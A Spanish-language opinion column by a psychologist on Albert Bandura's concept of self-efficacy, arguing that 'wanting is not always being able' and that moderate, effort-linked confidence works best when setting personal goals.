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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Querer no siempre es poder: la relatividad de la autoeficacia

Querer no siempre es poder: la relatividad de la autoeficacia

Por Dr. Luis Flórez Alarcón
Cómo unir el querer y el poder

El voluntarismo ha sido una de las marcas culturales más significativas de nuestra sociedad y de la sociedad occidental en general. “Querer es poder”, les repetimos a nuestros niños(as) y jóvenes, con el fin de animarles a asumir compromisos que estimulen su creatividad y a que se planteen metas altas de crecimiento personal. Por supuesto, las personas adultas también nos planteamos metas para cumplirlas en diversos plazos. Hay periodos en los que ese planteamiento de metas adquiere una mayor importancia, por ejemplo al inicio de un año, pues se convierten en el faro que nos muestra hacia dónde queremos o debemos caminar en el periodo que se avecina. Este año voy a dejar de fumar, este año me voy a casar, este año ascenderé en mi empresa, este año conseguiré trabajo, este año finalizaré la primaria, este año entraré a la universidad, este año sí me divorcio, este año sí me jubilo, este año sí voy a …

Plantearse metas parece ser un asunto sencillo y de gran importancia. Pienso que la sencillez es algo apenas aparente en el planteamiento de las metas; en realidad es un asunto que tiene múltiples aristas que lo convierten en algo complejo, a lo que se le debe prestar una atención cuidadosa. La importancia de plantearse las metas es incuestionable, si aceptamos que todo lo que hacemos, todas nuestras acciones, son “actos” precisamente porque tienen un propósito que nos fijamos de forma pretendidamente libre, y que realizamos de manera aparentemente voluntaria, conforme a nuestro leal saber y entender.

Sin embargo, la libertad de la que disponemos al elegir las metas, o la voluntad que se plasma en el esfuerzo que realizamos para alcanzarlas, en muchos casos no pasan de ser apenas una ilusión o una apariencia. La realidad es que al plantearnos una meta, o al elegir una forma de alcanzarla, dependemos de muchos condicionantes internos y externos, sobre los cuales es mejor tener algún grado de conciencia personal para que la meta no se convierta en una frustración. La presente nota está dedicada a analizar uno solo de esos condicionantes, denominado técnicamente la auto-eficacia, que a juicio de científicos altamente apreciados en la psicología contemporánea constituye el aspecto central que orienta la elección de las metas y la toma de decisiones acerca de la forma cómo nos disponemos a alcanzarlas.

El psicólogo canadiense Albert Bandura, profesor en la universidad californiana de Stanford, ha sido el líder de esta teoría acerca de la auto-eficacia como factor interno central que orienta la toma de decisiones a través de las cuales una persona maneja o agencia su comportamiento en cualquier aspecto de su vida, constituyéndose en el factor principal que modula la influencia de otros factores internos o externos también importantes a la hora de fijarse metas y de elegir caminos para alcanzarlas. (Para un breve análisis sobre el concepto de auto-eficacia puede observarse el siguiente video).

“Voy a aumentar mis ingresos” puede ser un ejemplo de la meta que una persona se propone para el presente año. ¿Es esa una meta realizable, o apenas una ilusión ante la imperiosa necesidad de resolver algunos problemas vitales? La respuesta válida puede encontrarse en la auto-eficacia que tiene la persona en relación con la meta; en otras palabras, la mejor respuesta puede encontrarse en la confianza que la persona posee acerca de sus capacidades para alcanzar la meta propuesta.

Una mala interpretación, de corte voluntarista, sobre el concepto de auto-eficacia sería “si yo quiero aumentar mis ingresos, y me lo propongo, lo lograré”. Una mejor traducción podría ser “si yo creo que puedo aumentar mis ingresos, y me lo propongo, lo lograré”. Pero la mejor traducción podría ser “si yo creo que tal acción es una manera eficaz de aumentar mis ingresos, y confío en mi capacidad para realizarla, lo lograré”. Una mala o buena situación externa (ej. un panorama económico sombrío o resplandeciente para el país durante el presente año), aunque es un factor real que influye sobre el planteamiento de la meta, actúa modulado por la expectativa de auto-eficacia personal.

El planteamiento de la auto-eficacia podría resumirse de la siguiente forma: la probabilidad de que una persona se comprometa con la realización de alguna acción, depende en gran medida de la confianza que la persona tiene en su capacidad para realizar esa acción eficazmente. En el presente ejemplo, si una persona cree que cierta acción es de verdad conducente para lograr su meta de mejorar los ingresos, y a la vez cree que ella sí es capaz de comprometerse con la realización de esa acción, entonces la emprenderá; de lo contrario, no lo hará. La primera parte es la expectativa de resultado, que es una valoración referente a la acción (creencia de que esa acción sí va a servir para lograr la meta). La segunda parte es la expectativa de auto-eficacia, que es una valoración referente a la persona misma (creencia en su propia capacidad personal para realizar esa acción).

Por supuesto, no es igual la creencia en la probabilidad de ganarse el baloto (una lotería), que la creencia en la probabilidad de vender una habilidad personal (una profesión) como medio eficaz que se puede ensayar para aumentar los ingresos este año. Seguramente es más confiable la eficacia de trabajar ofreciendo los servicios profesionales, que la eficacia de comprar el baloto como medio conducente al aumento de los ingresos personales. Lo anterior hace referencia a la expectativa de resultado; nos comprometemos solamente con acciones que consideramos eficaces para producir cierto resultado (para alcanzar cierta meta). Entonces empieza a contar un segundo elemento: ¿confía la persona en su capacidad para realizar esa acción? En el ejemplo que se viene dando, ¿confía la persona en su capacidad para obtener un ingreso vendiendo sus servicios profesionales? Esa es la pregunta sobre la auto-eficacia, la cual va a determinar si la persona emprende o no las acciones conducentes a la consecución de un trabajo (o las acciones conducentes a dejar de fumar, a casarse, a divorciarse, a terminar la primaria, a ingresar a la universidad, a jubilarse, etc.).

La auto-eficacia no es absoluta. Puede oscilar entre extremos. Sabemos que los puntos extremos en cualquier dirección suelen ser “viciosos”; y la auto-eficacia no es una excepción a esta regla. Tan mala puede ser la ausencia total de confianza en la capacidad para hacer algo, como la confianza desbordada en la capacidad para realizarlo. Lo primero me lleva a recordar una columna de opinión que leí hace muchos años en el periódico mexicano Novedades. El columnista era Mauricio González de la Garza, y tituló a una de sus columnas “No hay peor censura que la auto-censura”. Si es uno mismo quien coloca el obstáculo porque desconfía de sus propias capacidades para hacer algo, es muy difícil encontrar el remedio para remover ese obstáculo, lo que lleva a la persona al punto “vicioso” extremo del pesimismo. Hay que trabajar duro para removerlo, antes que todo. Lo segundo me hace recordar el título de un libro que me pareció muy sugestivo, “La estupidez de los más listos”, en el cual su autor, Jim Nightingale, analiza cómo el exceso de confianza conduce a un pensamiento voluntarista que coloca a la persona en el lado “vicioso” del optimismo excesivo, guiada por la ilusión de que, por efectos de que así se lo ha propuesto voluntariamente, puede hacer que las cosas salgan bien; seguramente todos recordamos historias personales en las que el exceso de confianza condujo al fracaso, ya sea en el deporte, en la salud, en el trabajo, o en el amor.

El nivel intermedio de valoración de la auto-eficacia parece coincidir con aquel criterio en el que el esfuerzo se convierte en el fiel de la balanza. En otras palabras, es aquel punto en el que la meta representa un reto para la persona, pero un reto que, a su juicio, ella es capaz de afrontar adaptativamente porque considera que tiene las habilidades para hacerlo, siempre y cuando despliegue el esfuerzo suficiente para lograrlo. En ese caso, si fracasa, la ponderación de las causas del fracaso debe conducirla a valorar dónde y cuánto se necesita incrementar el esfuerzo. Y si acierta debe concluir cuál fue el esfuerzo personal que permitió el éxito. La razonable ponderación del esfuerzo que se requiere desplegar para hacer bien algo, y la creencia en la capacidad personal para realizar ese esfuerzo, parecen ser los mejores criterios para establecer si se es, o no se es, auto-eficaz en relación con alguna acción concreta.

La relatividad de la auto-eficacia, en síntesis, radica en dos aspectos cruciales. De una parte, en que sus niveles óptimos se ubican en puntos intermedios, no en extremos. Tan nociva puede ser la falta total de confianza en uno mismo, como su contrario, el exceso. De otra, la valoración de la eficacia debe ir de la mano con la valoración del esfuerzo. Las acciones pueden ser muy eficaces en sí mismas, pero de nada sirven si no se despliega el esfuerzo requerido para realizarlas adecuadamente. Los factores externos, y otros factores internos diferentes a la auto-eficacia, también cuentan; pero sus efectos son modulados por la confianza en la capacidad personal para hacer bien lo que se necesita hacer. Por ejemplo, de mucho puede servir la ayuda de otros, siempre y cuando vaya asociada al esfuerzo personal; ya lo dice la sabiduría popular: “Al que madruga, Dios le ayuda”.

 

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info

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